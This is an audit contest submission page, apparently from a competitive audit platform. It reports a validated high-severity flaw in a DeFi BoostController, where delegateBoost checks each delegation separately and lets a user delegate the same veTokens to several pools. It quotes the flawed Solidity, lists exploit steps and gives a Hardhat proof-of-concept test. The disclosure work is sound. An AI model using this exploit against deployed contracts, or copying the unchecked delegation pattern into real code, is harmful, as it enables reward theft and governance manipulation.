Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Cumulative boost over-delegation in BoostController enables protocol-wide inflation

Summary

The delegateBoost function's per-recipient validation allows users to delegate cumulative boost amounts exceeding their actual veToken balance. This enables artificial inflation of voting power and reward eligibility across multiple pools simultaneously, distorting protocol economics.

Finding Description

The issue stems from the delegation tracking mechanism in the delegateBoost function, which fails to account for existing active delegations when validating new ones. The critical code section shows:

function delegateBoost(address to, uint256 amount, uint256 duration) external override nonReentrant {
uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
if (userBalance < amount) revert InsufficientVeBalance();
UserBoost storage delegation = userBoosts[msg.sender][to];
if (delegation.amount > 0) revert BoostAlreadyDelegated();
delegation.amount = amount;
}

The validation logic checks only the individual delegation amount against the user's current veToken balance, ignoring existing delegations stored in the nested mapping structure mapping(address => mapping(address => UserBoost)). This allows multiple delegations to different recipients that cumulatively exceed the user's actual holdings.

The root cause manifests through three key flaws:

  1. Per-recipient delegation tracking instead of global accounting

  2. Missing sum check of all active delegations against veToken balance

  3. Storage structure enabling duplicate delegations to different pools

As shown in the mapping declaration:

mapping(address => mapping(address => UserBoost)) private userBoosts;

A user can create multiple delegations to different pools, each validated in isolation. The contract's design comment "Manages boost delegations" implies proper accounting that this implementation fails to deliver.

Impact

Attackers can multiply their effective voting power and reward eligibility beyond their actual token holdings, enabling theft of rewards from legitimate participants and manipulation of governance outcomes. The inflation affects all pools accepting delegated boosts, creating protocol-wide economic distortions.

Proof Of Concept

  1. Alice holds 100 veTokens

  2. Delegates 100 to PoolA via delegateBoost(poolA, 100, 7 days) - passes balance check

  3. Delegates 100 to PoolB via delegateBoost(poolB, 100, 7 days) - passes balance check

  4. Both pools process 100 boost despite total 200 delegated

  5. BaseGauge.calculateRewards() uses inflated boost values for both pools

  6. Alice claims rewards in both pools using 2x leverage

Add this test file to BoostController.test.js on Delegation system part

it("should allow cumulative delegation exceeding veToken balance", async () => {
// Setup second pool
const mockPool2 = await (await ethers.getContractFactory("MockPool")).deploy();
await boostController.connect(manager).modifySupportedPool(mockPool2.getAddress(), true);
const fullBalance = await veToken.balanceOf(user1.address); // 1000 ETH
const delegationAmount = fullBalance;
const duration = 7 * 24 * 3600;
// First delegation to pool1 - should succeed
await boostController.connect(user1).delegateBoost(
mockPool.getAddress(),
delegationAmount,
duration
);
// Second delegation to pool2 - should succeed despite cumulative 2000 delegated
await boostController.connect(user1).delegateBoost(
mockPool2.getAddress(),
delegationAmount,
duration
);
// Verify both delegations exist
const delegation1 = await boostController.getUserBoost(user1.address, mockPool.getAddress());
const delegation2 = await boostController.getUserBoost(user1.address, mockPool2.getAddress());
// User has delegated 2000 total while only holding 1000 veTokens
expect(delegation1.amount).to.equal(delegationAmount);
expect(delegation2.amount).to.equal(delegationAmount);
expect(await veToken.balanceOf(user1.address)).to.equal(fullBalance);
// Verify gauge systems would accept both inflated boosts
const boost1 = await boostController.getWorkingBalance(user1.address, mockPool.getAddress());
const boost2 = await boostController.getWorkingBalance(user1.address, mockPool2.getAddress());
expect(boost1).to.equal(delegationAmount);
expect(boost2).to.equal(delegationAmount);
});

run this through

npx hardhat test ./test/unit/core/governance/boost/BoostController.test.js --grep "should allow cumulative delegation exceeding"

Mitigation

Implement global delegation tracking with cumulative validation to ensure total delegated amounts never exceed veToken holdings.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::delegateBoost lacks total delegation tracking, allowing users to delegate the same veTokens multiple times to different pools for amplified influence and rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!